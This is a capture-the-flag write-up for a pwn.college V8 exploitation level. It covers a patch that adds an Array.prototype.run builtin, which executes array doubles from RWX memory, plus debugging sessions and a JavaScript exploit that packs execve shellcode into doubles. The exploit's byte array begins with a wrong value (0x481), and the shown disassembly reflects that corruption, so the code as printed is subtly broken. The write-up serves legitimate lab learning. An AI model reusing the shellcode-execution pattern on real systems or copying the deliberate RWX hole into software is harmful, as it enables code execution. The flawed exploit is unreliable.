v8 engine

This is my notes solving Pwn.College v8 exploitation module.

Level 1

Patch Analysis

patch
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"
 
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {
 
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
 
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {
 
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayRun)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..58fd42e59a4 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+	case Builtin::kArrayRun:
+	  return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
 
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
 
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "run",
+                          Builtin::kArrayRun, 0, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",

The patch introduces a new builtin function ArrayRun added to V8 engine. It expects a javascript array of double numbers. and then calls mmap to map a region in memory with read, write, execute permissions. And then executes the code at this region.

!IsJSArray(*receiver) Checks that this (the object .run() was called on) is actually a JSArray. Prevents calling it on plain objects, Maps, TypedArrays etc. And checks that the array only has simple elements.

if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
  THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
    factory->NewStringFromAsciiChecked("Nope")));
}

The second check is to only allow the arrays of double numbers (of element kind PACKED_DOUBLE_ELEMENTS). Only packed so no holes are allowed.

if (kind != PACKED_DOUBLE_ELEMENTS) {
  THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
    factory->NewStringFromAsciiChecked("Need array of double numbers")));
}

Running the following code to inspect how javascript objects are represented.

hacker@practice~v8-exploitation~level1:~$ /challenge/d8 --allow-natives-syntax
V8 version 12.8.0 (candidate)
d8> let arr = [1.1, 2.2, 3.3];
undefined
d8> %DebugPrint(arr);
DebugPrint: 0x8f7000429dd: [JSArray]
 - map: 0x08f7001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x08f7001cb179 <JSArray[0]>
 - elements: 0x08f7000429bd <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x08f700000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x8f700000d99: [String] in ReadOnlySpace: #length: 0x08f700025fe9 <AccessorInfo name= 0x08f700000d99 <String[6]: #length>, data= 0x08f700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x08f7000429bd <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }

Info

V8 common element types12

  • SMI_ELEMENTS - Used to represent an array that contains small integers, such as 1,2,3, etc.
  • DOUBLE_ELEMENTS - Used to represent an array that contains floating-point numbers, such as 4.5, 5.5, etc.
  • ELEMENTS - Used to represent an array that contains string literal elements or values that cannot be represented as an SMI or Double, such as ‘x’.
const array = [1, 2, 3]
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56)
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push("x")
// elements kind: PACKED_ELEMENTS

The last part of the patch it mmap()s a region in memory with rwx permissions and executes the shellcode.

d8> let arr = [1.1, 2.2, 3.3];
undefined
d8> arr.run
function run() { [native code] }
d8> arr.run();
Received signal 4 ILL_ILLOPN 747c62601000
 
==== C stack trace ===============================
 
 [0x59e6879d1263]
 [0x59e6879d11b2]
 [0x747c625b0420]
 [0x747c62601000]
[end of stack trace]
Illegal instruction        /challenge/d8 --allow-natives-syntax

When i was debugging the shellcode i used gef as follows. V8 is huge i can’t just catch every mmap so i used the following.

rdx is the third argument (prot) on the syscall ABI. PROT_READ|WRITE|EXEC == 7 V8’s internal mmaps never use PROT_EXEC, so this fires the one from the patch.

gef➤  catch syscall mmap
Catchpoint 1 (syscall 'mmap' [9])
gef➤  condition 1 $rdx == 7
gef➤  fini
gef➤  p $rax
$1 = 0x73ccf9713000
gef➤  x/10gx $rax
0x73ccf9713000: 0x0000000000000000      0x0000000000000000
0x73ccf9713010: 0x0000000000000000      0x0000000000000000
0x73ccf9713020: 0x0000000000000000      0x0000000000000000
0x73ccf9713030: 0x0000000000000000      0x0000000000000000
0x73ccf9713040: 0x0000000000000000      0x0000000000000000
gef➤  fini
gef➤  x/10i 0x73ccf9713000
   0x73ccf9713000:      add    edi,0x3bc0
   0x73ccf9713006:      add    BYTE PTR [rax-0x73],cl
   0x73ccf9713009:      cmp    eax,0x14
   0x73ccf971300e:      xor    rsi,rsi
   0x73ccf9713011:      xor    rdx,rdx
   0x73ccf9713014:      syscall
   0x73ccf9713016:      mov    rax,0x3c
   0x73ccf971301d:      xor    rdi,rdi
   0x73ccf9713020:      syscall
   0x73ccf9713022:      (bad)
gef➤

I wrote a function sc_to_doubles that interprets raw shellcode bytes as an array of float64 values, so V8 stores them as unboxed doubles in a PACKED_DOUBLE_ELEMENTS array.

let buf = new ArrayBuffer(bytes.length)
let u8 = new Uint8Array(buf)
let f64 = new Float64Array(buf)

u8 and f64 point to the same underlying memory buf. This is the key writing through u8 and reading through f64 gives you a free reinterpret cast with no copies.

Float64Array and a plain JS Array are different tyoes. ArrayRun expects a plain JS array so i used Array.from(f64) converts it into a plain JS array.

Exploit

function sc_to_doubles(bytes) {
  // NOP pads
  while (bytes.length % 8 !== 0) bytes.push(0x90)
 
  let buf = new ArrayBuffer(bytes.length)
  let u8 = new Uint8Array(buf)
  let f64 = new Float64Array(buf)
  u8.set(bytes)
 
  return Array.from(f64)
}
 
// 	mov rax, 59
// 	lea rdi, [rip+flag]
// 	xor rsi, rsi
// 	xor rdx, rdx
// 	syscall
// 	mov rax, 60
// 	xor rdi, rdi
// 	syscall
// flag:
// .string "/challenge/catflag"
 
let sc = [
  0x481, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x14, 0x00, 0x00, 0x00, 0x48, 0x31,
  0xf6, 0x48, 0x31, 0xd2, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
  0x0f, 0x05, 0x2f, 0x63, 0x68, 0x61, 0x6c, 0x6c, 0x65, 0x6e, 0x67, 0x65, 0x2f, 0x63, 0x61, 0x74,
  0x66, 0x6c, 0x61, 0x67, 0x00,
]
 
arr = sc_to_doubles(sc)
 
arr.run()

References

Footnotes

  1. Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals

  2. Elements kinds in V8